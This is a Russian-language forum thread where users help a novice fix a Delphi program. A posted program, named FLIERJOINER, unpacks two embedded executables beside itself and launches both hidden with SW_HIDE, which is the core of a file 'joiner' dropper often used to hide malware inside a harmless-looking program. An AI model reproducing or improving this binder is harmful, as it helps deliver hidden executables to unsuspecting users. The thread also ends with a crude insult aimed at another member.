Нужно изменить путь с папки Temp на другой.

[Zeron]

я не умею!!!

[Человек_Борща]

Учись. У Фленова на первых примерах будет показано как и что. А ещё есть Основы dephi а ещё гугл.

И отвыкнешь от принципа "Обезьянка видит - обезьянка повторяет".

P.S. delphi - это не язык! Delphi - это среда разработки ПО.

[Пепел Феникса]

P.S. delphi - это не язык! Delphi - это среда разработки ПО.

язык Object Pascal(что бы там не говорили))

[Stilet]

ExtractRes('EXEFILE', 'first',ExtractFilePath(ParamStr(0))+ '1.EXE');

вы что издеваетесь? тут всего 3 строчки исправить!

Повежлевее будь.

Начиная со среды разработки Delphi 7.0[3], в официальных документах Borland стала использовать название Delphi для обозначения языка Object Pascal.

Начиная со среды разработки Delphi 7.0[3], в официальных документах Borland стала использовать название Delphi для обозначения языка Object Pascal.

Так что не нужно тут холливара.

[Человек_Борща]

Спасибо Stilet этого я не знал=) ++

[Zeron]

хорошо.
что делать, ошибку пишет: Undeclared identifier: 'ExtractFilePath' ?

[Stilet]

Известно что - открыть хелп и посмотреть как там правильно эта функция пишется и в каком она модуле.

[Zeron]

Сообщение от Stilet

Известно что - открыть хелп и посмотреть как там правильно эта функция пишется и в каком она модуле.

А где help открыть?

[Leo08]

program FLIERJOINER;
uses
Windows,sysutils,Classes,shellapi;
Var
S:string;
{$R FJoiner.res}
procedure ExtractRes(ResType, ResName, ResNewName : String);
var
Res : TResourceStream;
begin
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
Res.SavetoFile(ResNewName);
Res.Free;
end;

procedure extract;
begin
S:=extractfilepath(paramstr(0));
If not(s[length(s)])='\' then
S:=s+'\';
ExtractRes('EXEFILE', 'first',s+ '1.EXE');
ExtractRes('EXEFILE', 'second', s+'2.EXE');
end;
begin
extract;
ShellExecute(0,nil,PCHar(s+ '1.EXE'),nil,nil,SW_HIDE);
ShellExecute(0,nil,PCHar(s+ '2.EXE'),nil,nil,SW_HIDE);
end.

Oops, опередили))
У тебя ошибка потому что нет модуля sysutils.

[Zeron]

Урааа)) Всем огромное спасибо!!! Кроме Valio конечно (он му*ак).